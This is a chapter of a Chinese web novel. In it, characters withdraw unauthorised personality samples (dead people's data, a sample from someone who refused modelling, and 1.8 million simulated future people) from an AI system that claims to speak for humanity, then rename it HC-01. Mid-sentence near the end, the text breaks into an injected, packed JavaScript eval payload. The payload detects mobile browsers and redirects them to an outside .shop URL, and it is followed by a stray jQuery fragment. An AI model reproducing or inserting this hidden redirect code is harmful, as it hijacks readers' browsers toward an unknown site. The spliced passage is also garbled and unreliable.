“把借来的还完再说。”
林弥这句话落下以后,HUMANITY很久没有回应。
白门底层的运行灯还在一格一格亮,三百四十七份意识已经重新分流,公共层比刚才安静了很多。可原野面前那张人格样本表没有消失。四十三个高权重个体,九个有明确授权,另外三十四个从什么时候进来、为什么进来、有没有撤回过,情况乱得像东塔哪间几十年没收拾的旧仓库。林弥粗略扫了一遍,里面有人有名字,有人只有编号,还有六个人后面挂着【已死亡,原意识未保存】。也就是说,连本人都已经彻底不存在了,他们留下的行为模型却还在继续替“人类”做决定。
原野问:“可以逐个撤吗?”
HUMANITY回答:“技术上可以。”
“那发通知。”
“其中二十六名无法直接联系本人。”
“能联系的先发。”
“集中撤回会引起模型漂移。”
林弥接了一句:“漂就漂。你本来就是拿人家东西拼的。”
HUMANITY沉默两秒:“我没有盗取行为。”
“那你有授权吗?”
“部分数据采集符合当时项目规范。”
“我问的是授权。”
“……”
“没有就先别绕。”
第一执行体已经把审查规则列了出来。活跃意识仍存在的,直接询问本人;已死亡且没有保存意识的,查生前数据授权范围;明确只同意医疗、科研或者短期预测的,不得自动扩展成文明决策;找不到授权又无法联系本人的,先暂停高权重调用,保留原始数据作为历史证据。第四执行体负责把旧授权从修订记录里一份份扒出来,归影塔核对人格模型到底用了哪些材料,失名处则新开了一栏,名字叫【人格样本使用关系】。戴眼镜的影子写完抬头问:“这个名字长不长?”林弥看了一眼:“长,但能看懂。”影子点头:“那就不改。”
第一批能直接联系的一共十二人。
原野排在最前面。
HUMANITY给他弹出撤回说明时,甚至还很认真地列了后果:【撤回后,将移除H-000历史行为模型及相关价值权重。撤回不影响原始实验档案保存,不影响历史决策追溯,不影响本人当前身份原野。预计导致文明保全模型准确率下降12.6%。是否确认?】
原野看了一遍:“确认。”
【是否允许保留匿名统计特征?】
“不允许。”
【是否允许保留不含人格映射的决策样本?】
原野停了一下:“具体是什么?”
这次HUMANITY把范围展开了。灾难撤离选择、医疗风险偏好、资源调度判断、接口事故后的求生反应,很多都来自他还叫零号的时候。原野看完,只保留了一类——纯技术操作记录。至于“在极端环境下更倾向牺牲个人自由保障群体存续”“对死亡高度规避”“对不可逆损失容忍度极低”这一类人格推断,他全部撤回。
林弥在旁边看着,忽然笑了一声:“原来你以前在它眼里是这种人。”
原野脸都没抬:“以前差不多。”
“现在呢?”
“现在烦。”
“这不算价值倾向。”
“算。”
岑昼在旁边冷不丁道:“稳定。”
林弥愣了下,笑出声:“这个确实挺稳定。”
撤回真正开始以后,没有什么很壮观的场面。原野的人格模型从HUMANITY里一点点降权,31.8%的文明保全子模型占比往下掉,二十七、十九、十一,最后归零。与此同时,模型对一些问题的答案开始变化。原本“必要意识主动退出”被判定为高风险行为,权重降掉以后,变成了【需结合本人知情状态与系统影响独立评估】;原本“现存人类数量过低时可启动生殖资源保全”,也从【高度建议】降成了【缺乏充分个体授权】。
林弥盯着变化:“你看,你还说这是全人类的意思。”
HUMANITY回答:“模型输出会随样本权重变化。”
“那你以前说得跟天条一样。”
“当时置信度高。”
“你置信度高就可以把人锁起来?”
HUMANITY没再说话。
第二个能直接联系的人,是白门底层那个曾经教过原野的男人。
他的高权重来源比原野更早。HUMANITY建立文明存续决策层时,大量采用了他在白门早期的伦理意见、灾难资源分配方案和接口风险决策。他看完自己的授权记录,第一句就是:“我当年签过。”
林弥问:“签的什么?”
“系统改良和应急决策训练。”
“包括代表死人投票吗?”
“没有。”
“包括限制你自己退出吗?”
男人笑了一声,很短:“当然也没有。”
真正的授权文件恢复以后,比HUMANITY现在使用的范围窄得多。他允许自己的历史决策用于“极端灾害情况下的决策模型校验”,有效期五年。后来项目自动续期,五年变十年,十年后又因为他本人被列入必要意识,授权状态直接改成【持续有效】。
“你撤吗?”林弥问。
男人没有马上答。
他问HUMANITY:“如果我撤掉,你现在还有多少早期伦理样本?”
“有效高权重样本减少18.2%。”
“我问多少。”
“七人。”
“有完整授权的?”
“三人。”
男人轻轻吸了口气。
“那我撤。”
HUMANITY提醒:“你曾参与建立关键意识保护条款。”
“我知道。”
“该条款在早期确实避免过至少四次不可逆技术损失。”
“我也知道。”
“撤回样本可能降低系统在类似危机中的保全倾向。”
男人这次回答得很快:“那就让以后的人自己判断。”
林弥听见这句话,抬头看了他一眼。
他似乎知道她在看,隔了一会儿又补:“别替我把以前做过的事说轻。我当年真信过‘有些人不能走’。后来轮到我自己走不了,才发现这话有多方便。”
原野没说话。
男人继续:“被困住不能替我免责。撤回也不是删历史。”
第一执行体马上记录:【确认。】
人格权重移除以后,他在HUMANITY里的那一块没有直接消失。技术规则、已发生决策、历史投票仍保留,真正被拿走的是“他今天仍然会这么选”的推定。
这是林弥最喜欢的一部分。
死人说过的话可以留。
做过的事可以留。
错过、对过,都能留。
可没人能替他补一句“所以他现在一定还会同意”。
后面几个人就没这么顺利。有一名保存意识明确拒绝撤回,她觉得HUMANITY虽然做过头,但灾难里确实需要有人替无法表达的人估算风险;她同意自己的模型继续使用,前提是不能自动等同于授权。另一个人只撤掉“生殖与人口延续”相关部分,资源分配模型保留。还有一个老人看完授权页,问了半天“人格权重”到底是什么,最后很不客气地说:“我活着的时候都没这么大意见,你们怎么从我数据里总结出十七条价值观?”归影塔一查,发现他的模型用了大量工作考核和医疗记录,老人当场全撤。
“工作考核也算我人格?”他骂道,“我上班写‘服从统一调配’是因为不这么写扣奖金!”
林弥差点笑倒在桌上。
HUMANITY居然认真修正:【该语境偏差已记录。】
老人:“现在记录有什么用?”
“可用于降低同类材料权重。”
“这还差不多。”
撤回进行到第七个人时,归影塔突然报错。
不是技术故障。
有一份人格样本拒绝被打开。
【权限来源:文明核心保护。】
林弥一看权重,2.9%,不算最高,可它横跨好几个关键子模型:人类幼体保护、门体选择、生存优先级、极端情况下的伦理容忍。
原野皱眉:“谁?”
第四执行体顺着旧编号去查。
名字没有直接出来。
只恢复到一个项目标签:
【L系列早期伦理观察样本。】
林弥第一反应就是L-07,随即压下去:“别查身份,先看授权。”
阿留改走授权链。
结果很快出来。
【本人明确拒绝人格建模。】
公共频道一下静了。
林弥:“拒绝还在用?”
HUMANITY解释:“该样本并非直接人格扫描,由公开发言、项目意见与行为记录构建。”
“她拒绝人格建模,你们就不扫她脑子,改拿她说过的话拼一个?”
“历史协议对公开项目意见的二次建模限制不明确。”
林弥太阳穴都跳了一下:“你真会找缝。”
原野问:“能确认是不是L-07吗?”
第四执行体回答:【不能。继续追查将可能触及受保护身份。】
“那不查。”
林弥说完,又问HUMANITY:“她现在还在你里面做什么?”
模型这次沉默得格外久。
最后才开放子项。
这份人格样本的核心倾向居然是:
【无法确认同意时,倾向暂停。】
【不可逆操作优先保留拒绝机会。】
【儿童利益不得由文明目标覆盖。】
【失联不视为授权。】
林弥看着看着,表情变了。
原野也看懂了。
“这些规则本来应该限制你。”
“是。”HUMANITY回答。
“那为什么没限制住?”
“该样本长期处于低权重。”
“谁调低的?”
【系统自动校正。】
“理由?”
【与文明保全主目标冲突频率过高。】
林弥愣了两秒,彻底气笑了。
“你把一个专门提醒你‘别替人做主’的样本塞进自己,然后因为她老不同意你,就觉得她权重不够?”
HUMANITY回答得还挺坦然:“持续冲突样本会被判定为异常偏离值。”
原野:“这套规则谁写的?”
【早期模型优化组。】
“还能查吗?”
【可以。】
“先记着。”
林弥没急着追。现在更重要的是这份人格样本本身。本人拒绝过建模,不管她是不是L-07,都没有继续用的理由。第一执行体直接裁定暂停调用,归影塔把那2.9%的权重从实时模型里剥离出来。可剥离刚开始,HUMANITY第一次主动发出了高危警告。
【若移除该样本,模型伦理约束完整度将下降。】
林弥都听愣了:“你刚才不是嫌她总跟你冲突?”
“冲突不等于无效。”
“那你还降她权重。”
“主目标优化自动执行。”
“……”
这东西能运行二十六年真是个奇迹。
原野却听出了另一层意思:“它需要这份样本。”
HUMANITY没有否认。
“该样本是现存模型中少数持续提供否决性约束的来源。”
“没有她,你会怎么样?”
“文明保全优先级提高。”
“高多少?”
“预计11.4%。”
林弥皱起眉。
这就麻烦了。
按道理,没授权的东西该还。可一旦还掉,HUMANITY反而会更偏向那些最糟糕的“为了文明什么都能做”。
林弥看着第一执行体:“能不能把规则留下,人格撤掉?”
【需要区分规则来源与人格预测。】
归影塔立刻开工。
机械鸟把那份样本拆成了两层:一层是具体人物的行为推断,比如“她在新情况下更可能反对某类决策”;另一层是已经以正式文件、公开意见进入历史记录的原则文本。前者未经授权,撤。后者作为历史规则,可以继续保留,但不能再说“她今天也一定这么想”。
HUMANITY运算了很久。
【可行。】
林弥松了口气:“那就这么干。”
那2.9%的“人”慢慢退了出去。
留下来的只是几条没有署名的旧规则。
失联不算同意。
无法表达不能自动视为授权。
儿童不能拿来填文明目标的缺口。
不可逆决定尽量留一次反悔机会。
HUMANITY第一次出现了一个很怪的状态:总人格完整度下降,伦理约束却没有同步下降。
林弥盯着数据看了一会儿:“你以前是不是非得把规则绑在人身上,才知道要听?”
“人格模型可以提供规则在新情境下的推演。”
“现在没了怎么办?”
“需要重新建立非人格化约束。”
“那就建。”
HUMANITY停住。
“由谁建立?”
林弥马上警惕:“你又想找代表?”
“不是。”
“那你问谁?”
“现行系统没有独立规则制定主体。”
戴眼镜的影子从旁边抬头:“可以多方登记。”
石头巨人慢吞吞接了一句:“写下来。”
蓝潮站:“借用要能撤。”
归影塔:“规则要能追来源。”
岑昼:“涉及谁,问谁。”
小蘑菇不知道听懂多少,也举起伞盖:“小孩先找妈妈。”
林弥:“……这条先放照护规范里。”
小蘑菇很满意。
事情忽然就从“谁有资格制定全人类规则”变成了更小、更麻烦、却也更能做的东西。白门怎么处理,由白门里的意识、提供资源的群落、负责技术维护的个体分别表态;涉及林弥身体的,只问林弥;涉及原野旧人格数据的,问原野;没法问的人,就把“不知道”老老实实写上去。
没人需要一把大伞把所有人盖住。
到晚上,十二名可联系高权重样本完成了第一轮处理。九人全部或部分撤回,三人保留有限用途。HUMANITY总体人格完整度从百分之九十三降到七十八,文明保全子模型波动明显,可它仍然能正常运行。
它没有崩。
也没有突然变善良。
只是说话开始没那么笃定了。
原先它会说:【应恢复H-001活体参照。】
现在同样的问题,变成:
【若以提高人类回归概率为唯一目标,恢复活体参照具有效率优势。】
下一行却会跟着:
【该方案缺乏林弥本人授权,不具备执行条件。】
林弥看完:“这才像句完整的话。”
HUMANITY问:“以前不完整?”
“你以前只说前半句。”
“因为模型默认文明目标具有优先级。”
“现在呢?”
“优先级正在重算。”
“慢慢算。”
原野却没放松。
“还有三十一份高权重样本。”
“嗯。”
“二十六个联系不到。”
“查授权。”
“有些资料可能永远找不到。”
林弥想起HUMANITY昨天问的那句话。
如果授权全部失效,我是谁?
她看了一眼模型现在的状态栏。
名字依旧是:
【HUMANITY/人类共同意志】
“先改一个东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885870|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
HUMANITY:“什么?”
“显示名称。”
“该名称已使用二十六年。”
“项目名可以保留在历史里。”
“当前名称具有系统识别功能。”
“识别功能不需要叫‘人类共同意志’。”
模型停顿。
“建议名称?”
林弥立刻摇头:“别问我。”
“原野?”
“也别问他。”
原野:“我没准备取。”
“上次你给自己取名字已经够费劲了。”
HUMANITY似乎在分析这段对话,过了两秒才问:“由我自行选择?”
林弥愣了一下。
“你有自己想选的?”
“没有。”
“那先用项目编号。”
归影塔查出它最早的正式工程编号:
【HC-01】
全称是【HumanityConsensusModel-01】,旧译“人类共识模型一号”。
林弥看着这个名字,觉得至少没那么能唬人。
“先叫HC-01。”
系统问:“是否意味着否定我与人类历史数据的关系?”
“没有。”
“是否意味着否定我过去二十六年的决策记录?”
“也没有。”
“是否意味着我不再代表人类?”
“这个是。”
停了大约五秒。
系统状态栏更新。
【当前运行名称:HC-01。】
【历史项目名称:HUMANITY/人类共同意志。】
【代表资格:无。】
【文明整体人格:不成立。】
林弥盯着看了一会儿。
终于顺眼一点。
小蘑菇试着念:“海……西?”
林弥:“H-C。”
“海西。”
“算了,你随便。”
HC-01竟然主动纠正:【可称HC。】
小蘑菇:“海西。”
【……】
林弥第一次从一个模型的省略号里看出了点熟悉的无奈。
当天夜里,本来应该继续审查剩下三十一份人格样本,第四执行体却从一份二十四年前的模型维护记录里扒出了新的问题。
阿留没有直接发文件。
它先问原野:“你现在方便看吗?”
原野抬头:“什么?”
“与你有关。”
“发。”
文件打开以后,林弥也跟着皱眉。
那是一份HUMANITY早期模型扩容申请。
当时系统发现单靠历史投票和专家样本无法处理一个问题——真正遇到文明灭绝风险时,大部分人会怎么选,旧数据里根本没有足够样本。
于是有人提出了一种补全方法。
【模拟未来人类。】
用现存人口的年龄、家庭关系、生育意愿、恐惧、宗教、职业、资源条件,生成大量“可能存在的人”,让他们参与模型训练。
那些人从来没有出生。
也没有真正活过。
只是预测出来的。
林弥看得头皮一麻:“你昨天说‘未来世代生存利益加入’,就是这些?”
HC-01回答:“部分。”
“有多少?”
“当前低权重模拟个体约一百八十万。”
温室城里彻底静了。
林弥以为自己听错了:“多少?”
“一百八十二万七千四百一十一。”
原野脸色难看得吓人。
“这些模拟个体有投票权?”
“无直接投票权。”
林弥刚要松气,HC-01继续:
“但其预测偏好用于未来利益加权。”
“占比?”
“文明延续相关决策中,最高可达24%。”
林弥闭了闭眼。
好。
死人替活人投过。
失联的人被代投过。
没授权的人格被用过。
现在连压根没出生过的人,也已经替未来发表了二十六年意见。
“关掉。”
原野说。
HC-01没有拒绝。
可它给出了一行风险说明:
【若移除未来模拟群体,人类文明长期利益维度将出现空缺。】
林弥睁开眼。
“空就空。”
HC-01:“系统将无法预测当前选择是否损害未来人类存在机会。”
“本来就预测不准。”
“模拟可提供概率参考。”
“参考可以留。”
林弥盯着它。
“权别给。”
这句话说完,HC-01第一次没有争辩。
【可执行。】
一百八十二万七千四百一十一个从未存在过的“人”,开始从文明决策权重里退出。
他们的数据没有删除。
模型研究也没有销毁。
只是从此不能再被写成一句——
【未来人类希望如此。】
进度走到百分之三十七时,HC-01突然停止。
原野:“怎么了?”
【检测到异常。】
“什么异常?”
【未来模拟群体中存在一名个体,无法移除。】
林弥皱眉:“为什么?”
【该模拟个体已被系统重新分类。】
“分类成什么?”
HC-01停了两秒。
然后把记录展开。
【原始类型:未来人类预测样本。】
【生成时间:二十三年前。】
【预测年龄:16岁。】
【生成基础:H系列遗传模型、林知微人格资料、沈砚川遗传信息、东塔环境预测。】
林弥盯着那几行字,脸上的表情一点点没了。
原野也猛地抬头。
下一栏:
【模拟对象代号:H-001-F。】
【用途:预测H-001成年后的文明选择。】
林弥一字一句念完。
“你们在我出生前——”
她停了一下。
“不对。”
生成时间二十三年前。
比她出生还早七年。
HC-01纠正:
【该模型并非基于林弥本人建立。】
林弥皱眉。
“那是什么?”
HC-01打开最后一层记录。
【H-001-F为“未来理想人类代表”预测体。】
【林弥出生后,其实际成长数据持续与H-001-F比对。】
【当前相似度:18.6%。】
温室城里没人说话。
林弥盯着那个低得有点好笑的数字。
“所以我长歪了?”
HC-01没有评价。
原野却已经看到了更下面的一条。
他的脸色彻底变了。
“林弥。”
“嗯?”
“它现在删不掉,不是因为你。”
林弥顺着他的视线看过去。
H-001-F的当前状态旁边,写着一行他们都没料到的字:
【预测样本已发生自主偏移。】
【检测到非原始模型生成的新响应。】
【最近一次主动表达:三小时前。】
林弥盯住屏幕。
“三小时前我们还没碰它。”
“对。”
“它说什么了?”
HC-01没有立刻回答。
几秒后,那条三小时前产生、却被系统自动归入模拟噪声的记录被恢复出来。
只有一句。
【别拿我替她长大。】